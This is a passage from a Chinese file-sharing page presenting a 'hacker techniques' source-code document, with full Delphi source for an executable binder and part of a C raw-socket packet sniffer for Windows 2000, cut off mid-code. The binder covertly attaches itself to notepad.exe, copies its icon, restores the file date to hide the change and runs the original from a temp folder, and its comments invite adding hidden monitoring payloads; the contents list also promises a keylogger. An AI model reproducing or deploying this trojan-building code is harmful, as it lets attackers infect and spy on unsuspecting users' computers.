高级黑客技巧之源代码篇.docx

上传人:b****7 文档编号:10430354 上传时间:2023-02-11 格式:DOCX 页数:46 大小:40.04KB
下载 相关 举报
高级黑客技巧之源代码篇.docx_第1页
第1页 / 共46页
高级黑客技巧之源代码篇.docx_第2页
第2页 / 共46页
高级黑客技巧之源代码篇.docx_第3页
第3页 / 共46页
高级黑客技巧之源代码篇.docx_第4页
第4页 / 共46页
高级黑客技巧之源代码篇.docx_第5页
第5页 / 共46页
点击查看更多>>
下载资源
资源描述

高级黑客技巧之源代码篇.docx

《高级黑客技巧之源代码篇.docx》由会员分享,可在线阅读,更多相关《高级黑客技巧之源代码篇.docx(46页珍藏版)》请在冰豆网上搜索。

高级黑客技巧之源代码篇.docx

高级黑客技巧之源代码篇

高级黑客技巧之源代码部分

目录

 

1、捆绑执行文件方法及源代码

(2-6页)

2、Win2k命令行下的Sniffer源代码

(7-14页)

3、SMTP协议原始命令码和工作原理

(15-18页)

4、Windows外壳扩展编程之添加右键菜单

(19-30页)

5、利用DELPHI编写WINDOWS外壳

(31-37页)

6、利用Hook技术实现键盘监控(38-40页)

1、捆绑执行文件方法及源代码

最新功能:

与其它程序捆绑后,图标为其它程序的图标

这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存

如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上%$#@*^功能...

程序中几个数字的确定:

1在本程序编译后用Aspack.Exe压缩,大小为41472

2经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据

位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:

本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:

将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制

编辑软件载入,查找“999999”字符串即可。

以后你可为程序加上其它合适的图标。

十六进制编辑软件:

常用UltraEdit。

本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:

}

programexe2;

uses

classes,

Tlhelp32,

windows,

graphics,

ShellAPI,

SysUtils;

{$R*.RES}

var

lppe:

TProcessEntry32;

found:

boolean;

handle:

THandle;

ProcessStr,ExeName:

string;

WinDir:

pchar;

const

MySize=41472;{!

!

这个值要根据编译或压缩后的文件大小进行修改!

!

}

procedurecopy2(s:

string);

var

s1,s2,IcoStream:

TMemoryStream;

File2:

TFilestream;

ch:

array[0..1]ofchar;

ss:

string;

filetime,fhandle:

integer;

l:

integer;

File2Icon:

Ticon;

begin

{若文件s不存在}

ifFileExists(s)=Falsethenexit;

try

{若文件不含图标,就不捆绑}

File2Icon:

=Ticon.Create;

l:

=extracticon(handle,pchar(s),0);

ifl=0then

begin

File2Icon.Free;

exit;

end

else

begin

{提取被捆绑程序图标}

File2Icon.Handle:

=extracticon(handle,pchar(s),0);

IcoStream:

=TMemoryStream.Create;

File2Icon.SaveToStream(IcoStream);

File2Icon.Free;

end;

{判断文件s中有没有第2个程序头'MZ'。

若有,表示已经合并过}

File2:

=TFilestream.Create(s,fmopenread);

ifFile2.Size>MySizethen

begin

File2.Position:

=MySize;

File2.Read(ch,2);

ss:

=copy(ch,1,2);

ifss='MZ'then

begin

File2.Free;

exit;

end;

end;

File2.Free;

{将本文件与文件s合并本文件+s=s}

s2:

=TMemoryStream.Create;

s2.loadfromfile(ExeName);

s1:

=TMemoryStream.Create;

{

加入本程序的前部40751字节

第40752字节开始共640字节为图标数据

!

!

以下数字40751,81要根据实际情况修改!

!

}

s1.copyfrom(s2,40751);

{将图标换为被捆绑程序图标,图标大小为766}

IcoStream.Position:

=126;

s1.CopyFrom(IcoStream,640);

IcoStream.Free;

s2.Position:

=40751+640;

{加入本程序的后部81字节}

s1.CopyFrom(s2,81);

s2.clear;

s2.loadfromfile(s);

s1.seek(s1.size,soFromBeginning);

{加入被捆绑程序全部}

s1.copyfrom(s2,s2.size);

s2.free;

{得到文件s的日期}

fhandle:

=FileOpen(s,fmOpenread);

filetime:

=filegetdate(fhandle);

fileclose(fhandle);

s1.SaveToFile(s);

{恢复文件s的日期}

fhandle:

=FileOpen(s,fmOpenwrite);

filesetdate(fhandle,filetime);

fileclose(fhandle);

s1.free;

exceptend;

end;

procedureCreateFileAndRun;

var

s1,s2:

TMemoryStream;

TempDir:

pchar;

cmdstr:

string;

a:

integer;

Begin

s1:

=TMemoryStream.Create;

s1.loadfromfile(ExeName);

ifs1.Size=MySizethen

begin

s1.Free;

exit;

end;

s1.seek(MySize,soFromBeginning);

s2:

=TMemoryStream.Create;

s2.copyfrom(s1,s1.Size-MySize);

GetMem(TempDir,255);

GetTempPath(255,TempDir);

try

{

把文件释放到临时目录。

如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,

如c:

\windows(orwinnt)\d...(☆这是个什么目录?

你去研究研究吧!

☆)

}

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName));

exceptend;

cmdstr:

='';

a:

=1;

whileParamStr(a)<>''dobegin

cmdstr:

=cmdstr+ParamStr(a)+'';

inc(a);

end;

{运行真正的程序文件}

winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+''+cmdstr),SW_SHOW);

freemem(TempDir);

s2.free;

s1.free;

end;

begin

GetMem(WinDir,255);

GetWindowsDirectory(WinDir,255);

ExeName:

=ParamStr(0);

handle:

=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);

found:

=Process32First(handle,lppe);

ProcessStr:

='';

whilefounddo

begin

ProcessStr:

=ProcessStr+lppe.szExeFile;{列出所有进程}

found:

=Process32Next(handle,lppe);

end;

{如果notepad没运行,就与它捆在一起}

ifpos(WinDir+'\notepad.exe',ProcessStr)=0then

begin

copy2(WinDir+'\notepad.exe');

end;

{其它需要捆绑的文件

ifpos(...,ProcessStr)=0then

begin

copy2(...);

end;

...

}

freemem(WinDir);

{

你想用这个程序干点其它的什么...

}

CreateFileAndRun;{释放文件并带参数运行}

end.

 

2、Win2k命令行下的Sniffer源代码

//////////////////////////////////////////////////////////////////////////

//           //

//IpDumpForWin2KbyShotgun        //

//                                   //

//Released:

[2001.4]             //

//Author:

[Shotgun]    //

//Homepage:

    //

//[http:

//IT.Xici.Net]       //

//[http:

//www.Patching.Net]    //

//    //

//////////////////////////////////////////////////////////////////////////

#include

#include

#include

#include

#defineSTATUS_FAILED0xFFFF//定义异常出错代码

#defineMAX_PACK_LEN 65535//接收的最大IP报文

#defineMAX_ADDR_LEN 16//点分十进制地址的最大长度

#defineMAX_PROTO_TEXT_LEN16//子协议名称(如"TCP")最大长度

#defineMAX_PROTO_NUM12//子协议数量

#defineMAX_HOSTNAME_LAN255//最大主机名长度

#defineCMD_PARAM_HELPtrue

typedefstruct_iphdr

{

unsignedcharh_lenver;//4位首部长度+4位IP版本号

unsignedchartos;//8位服务类型TOS

unsignedshorttotal_len;//16位总长度(字节)

unsignedshortident;//16位标识

unsignedshortfrag_and_flags;//3位标志位

unsignedcharttl;//8位生存时间TTL

unsignedcharproto;//8位协议(TCP,UDP或其他)

unsignedshortchecksum;//16位IP首部校验和

unsignedintsourceIP;//32位源IP地址

unsignedintdestIP;//32位目的IP地址

}IP_HEADER;

typedefstruct_tcphdr//定义TCP首部

{

USHORTth_sport;//16位源端口

USHORTth_dport;//16位目的端口

unsignedint th_seq;//32位序列号

unsignedint th_ack;//32位确认号

unsignedcharth_lenres;//4位首部长度/6位保留字

unsignedcharth_flag;//6位标志位

USHORTth_win;//16位窗口大小

USHORTth_sum;//16位校验和

USHORTth_urp;//16位紧急数据偏移量

}TCP_HEADER;

typedefstruct_udphdr//定义UDP首部

{

  unsignedshortuh_sport;    //16位源端口

  unsignedshortuh_dport;    //16位目的端口

  unsignedshortuh_len;        //16位长度

  unsignedshortuh_sum;  //16位校验和

}UDP_HEADER;

typedefstruct_icmphdr//定义ICMP首部

{

BYTE i_type;//8位类型

BYTE i_code;//8位代码

USHORTi_cksum;//16位校验和

USHORTi_id;//识别号(一般用进程号作为识别号)

USHORTi_seq;//报文序列号

ULONG timestamp;//时间戳

}ICMP_HEADER;

typedefstruct_protomap//定义子协议映射表

{

int ProtoNum;

charProtoText[MAX_PROTO_TEXT_LEN];

}PROTOMAP;

PROTOMAPProtoMap[MAX_PROTO_NUM]={//为子协议映射表赋值

{IPPROTO_IP ,"IP "},

{IPPROTO_ICMP,"ICMP"}, 

{IPPROTO_IGMP,"IGMP"},

{IPPROTO_GGP ,"GGP"}, 

{IPPROTO_TCP ,"TCP"}, 

{IPPROTO_PUP ,"PUP"}, 

{IPPROTO_UDP ,"UDP"}, 

{IPPROTO_IDP ,"IDP"}, 

{IPPROTO_ND ,"NP "}, 

{IPPROTO_RAW ,"RAW"}, 

{IPPROTO_MAX ,"MAX"},

{NULL,""}};

SOCKETSockRaw;

charTcpFlag[6]={'F','S','R','P','A','U'};//定义TCP标志位

boolParamTcp=false;//-t关注TCP报文

boolParamUdp=false;//-u关注UDP报文

boolParamIcmp=false;//-i关注ICMP报文

boolParamDecode=true;//-d对协议进行解码

char*strFromIpFilter=NULL;//源IP地址过滤

char*strDestIpFilter=NULL;//目的地址过滤

intDecodeIpPack(char*,int);

intDecodeTcpPack(char*);

intDecodeUdpPack(char*);

intDecodeIcmpPack(char*);

voidCheckSockError(int,char*);

char*CheckProtocol(int);

voidusage(void);

boolGetCmdLine(int,char**);

voidmain(intargc,char**argv)

{

intiErrorCode;

charRecvBuf[MAX_PACK_LEN]={0};

usage();

if(GetCmdLine(argc,argv)==CMD_PARAM_HELP)exit(0);

//初始化SOCKET

WSADATAwsaData;

iErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData);

CheckSockError(iErrorCode,"WSAStartup");

SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

CheckSockError(SockRaw,"socket");

//获取本机IP地址

charFARname[MAX_HOSTNAME_LAN];

iErrorCode=gethostname(name,MAX_HOSTNAME_LAN);

CheckSockError(iErrorCode,"gethostname");

structhostentFAR*pHostent;

pHostent=(structhostent*)malloc(sizeof(structhostent));

pHostent=gethostbyname(name);

SOCKADDR_INsa;

sa.sin_family=AF_INET;

sa.sin_port=htons(6000);

memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);

iErrorCode=bind(SockRaw,(PSOCKADDR)&sa,sizeof(sa));

CheckSockError(iErrorCode,"bind");

//设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包

DWORDdwBufferLen[10];

DWORDdwBufferInLen=1;

DWORDdwBytesReturned=0;

iErrorCode=WSAIoctl(SockRaw,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),      

            &dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL);

CheckSockError(iErrorCode,"Ioctl");

//侦听IP报文

while

(1)

{

memset(RecvBuf,0,sizeof(RecvBuf));

iErrorCode=recv(SockRaw,RecvBuf,sizeof(RecvBuf),0);

CheckSockError(iErrorCode,"recv");

iErrorCode=DecodeIpPack(RecvBuf,iErrorCode);

CheckSockError(iErrorCode,"Decode");

}

}

//IP解包程序

intDecodeIpPack(char*buf,intiBufSize)

{

IP_HEADER*pIpheader;

intiProtocol,iTTL;

charszProtocol[MAX_PROTO_TEXT_LEN];

charszSourceIP[MAX_ADDR_LEN],szDestIP[MAX_ADDR_LEN];

SOCKADDR_INsaSource,saDest;

pIpheader=(IP_HEADER*)buf;

//CheckProto

iProtocol=pIpheader->proto;

strncpy(szProtocol,CheckProtocol(iProtocol),MAX_PROTO_TEXT_LEN);

if((iProtocol==IPPROTO_TCP)&&(!

ParamTcp))returntrue;

if((iProtocol==IPPROTO_UDP)&&(!

ParamUdp))returntrue;

if((iProtocol==IPPROTO_ICMP)&&(!

ParamIcmp))returntrue;

//CheckSourceIP

saSource.sin_addr.s_addr=pIpheader->sourceIP;

strncpy(szSourceIP,inet_ntoa(saSource.sin_addr),MAX_ADDR_LEN);

if(strFromIpFilter)

if(strcmp(strFromIpFilter,szSourceIP))returntrue;

//CheckDestIP

saDest.sin_addr.s_addr=pIpheader->destIP;

strncpy(szDestIP,inet_ntoa(saDest.sin_addr),MAX_ADDR_LEN);

if(strDestIpFilter)

if(strcmp(strDestIpFilter,szDestIP))returntrue;

iTTL=pIpheader->ttl;

//Output

printf("%s",szProtocol);

printf("%s->%s",szSourceIP,szDestIP);

printf("bytes=%dTTL=%d",iBufSize,iTTL);

//CalculateIPHeaderLength

intiIphLen=sizeof(unsignedlong)*(pIpheader->h_lenver&0xf);

//DecodeSubProtocol:

TCP,UDP,ICMP,etc

switch(iProtocol)

{

caseIPPROTO_TCP:

DecodeTcpPack(buf+iIphLen);break;

caseIPPROTO_UDP:

Dec

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 军事

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1